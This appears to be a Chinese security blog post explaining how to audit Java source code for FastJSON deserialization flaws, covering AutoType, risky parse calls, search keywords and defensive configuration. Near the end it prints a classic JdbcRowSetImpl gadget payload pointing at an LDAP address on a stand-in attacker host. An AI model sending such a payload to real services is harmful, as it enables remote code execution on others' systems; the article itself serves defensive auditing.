FastJSON 安全审计简洁实用指南:黑盒免测也能揪出漏洞

FastJSON 安全审计简洁实用指南:黑盒免测也能揪出漏洞

原创 火力猫 季升安全 2025-05-06 00:15

FastJSON 漏洞源码审计简易版

📌 本文讲解如何在源码层面快速识别 FastJSON 的危险用法,即使不跑 POC、不用 Burp,也能定位风险点。

📦 什么是 FastJSON ?

FastJSON 是阿里巴巴开源的 Java JSON 解析库,以高性能著称,广泛用于企业级 Java 项目中。但由于其支持 自动类型识别(AutoType)
 和 反射机制
,一度成为远程命令执行(RCE)等漏洞的重灾区。

🧠 为何会导致RCE ?

1.  AutoType 机制

FastJSON 允许在 JSON 中通过 @type
 指定反序列化的类:

{    "@type": "com.example.User",    "username": "admin"}

当开启 AutoType,FastJSON 会根据 @type
 进行类加载,触发反射执行。

反射执行的分析
👉 FastJSON 反序列化到底干了啥?一文看懂它是如何利用反射机制的!

2. 具体原因

  • FastJSON 在未做严格白名单校验的情况下,信任外部 JSON 中传入的类名

  • 某些类的构造方法或 setter 方法在被调用时会自动触发危险操作,例如:JNDI 查询
    加载外部类
    执行系统命令

👀一眼扫过代码,FastJSON

📌 导入语句关键词:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;

只要你在源码中看到了这两个,就说明这个项目用了 FastJSON。

🚨 风险特征

函数名 风险级别 描述
JSON.parse() 会自动解析 @type,反序列化任意类
JSON.parseObject() 中/高 可以指定类型,也可能触发风险
JSON.parseArray() 解析数组结构,潜在风险较低
JSONObject.parse() 同样可能触发类型自动识别
JSON.parse(jsonStr) 黑名单 最常见高危写法,不能用它解析用户输入!

💥经典错误写法

//  典型反序列化入口String payload = request.getParameter("data");Object obj = JSON.parse(payload);  // 高危:直接解析外部数据
✅ 正确用法:
// 明确指定类型,避免自动类型识别User user = JSON.parseObject(payload, Whitelist.class);

👀 源码审计流程

🧭 步骤一:全局搜索关键词

关键词
说明
@type
FastJSON 类型指定关键字段【攻击入口】
AutoType
自动类型识别核心机制
JSON.parse
最常用反序列化入口
JSON.parseObject
动态类型时可被绕过
TypeUtils.loadClass
类加载点,重点审计
JdbcRowSetImpl
可触发 JNDI 的危险类
TemplatesImpl
常用代码执行 gadget
setAutoCommit
JDBC 自动触发关键点
resolveClassName
反射类名解析函数
ClassNotFoundException
探测 AutoType 回显关键
ParserConfig.setAutoTypeSupport(true)
显示开启AutoType自动类型识别
fastjson
异常堆栈定位 fastjson 使用点

🧪 步骤二:检查是否处理外部输入

重点关注的变量来源:
– request.getParameter()

  • BufferedReader reader = req.getReader();

  • 任何外部 API 接收到的参数

如果这些参数直接进入 JSON.parse()
,那基本就中招了。
Spring 注解调用FastJSON分析
 👉  Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?

🧨 步骤三:查找是否禁用 AutoType

低版本情况:

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

如果没有这个配置,大概率是 默认启用了 AutoType
,这就是 FastJSON 被打穿的核心原因!

FastJSON ≥ 1.2.48时

// 显式开启 AutoType 全局支持(强烈不推荐)ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 开启某个类前缀的 AutoType 支持(推荐做法)ParserConfig.getGlobalInstance().addAccept("com.example.safe.");

如果存在上面的配置,就要排查白名单范围

🧠 典型漏洞链

// 攻击者控制的 JSON 数据{    "@type": "com.sun.rowset.JdbcRowSetImpl",    "dataSourceName": "ldap://attacker.com:1389/Exploit",    "autoCommit": true}

📋 总结

✍️ 看导包、查 parse、跟来源、识配置 ; 一旦输入不干净,parse 就是定时炸弹! 

【FastJSON延时性分析 
👉 渗透测试 FastJSON 是个“延时炸弹” ?
 】

关注点

关键词
判断要点
import com.alibaba.fastjson.*
确定是否用了 FastJSON
JSON.parse

 /JSONObject.parse()
是否处理外部传入的字符串?
getGlobalInstance
是否默认开启?是否显式开启?白名单机制是否合理?

防御方式
1. ✅ 永远不要用 JSON.parse(jsonStr)
 处理外部数据;

  1. ✅ 使用 parseObject(jsonStr, Xxx.class)
     指定类型;

  2. ✅ 禁用 AutoType 并配置白名单类:

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  1. ✅ FastJSON 升级到 ≥ 1.2.83

#渗透测试
#源码审计
#网络安全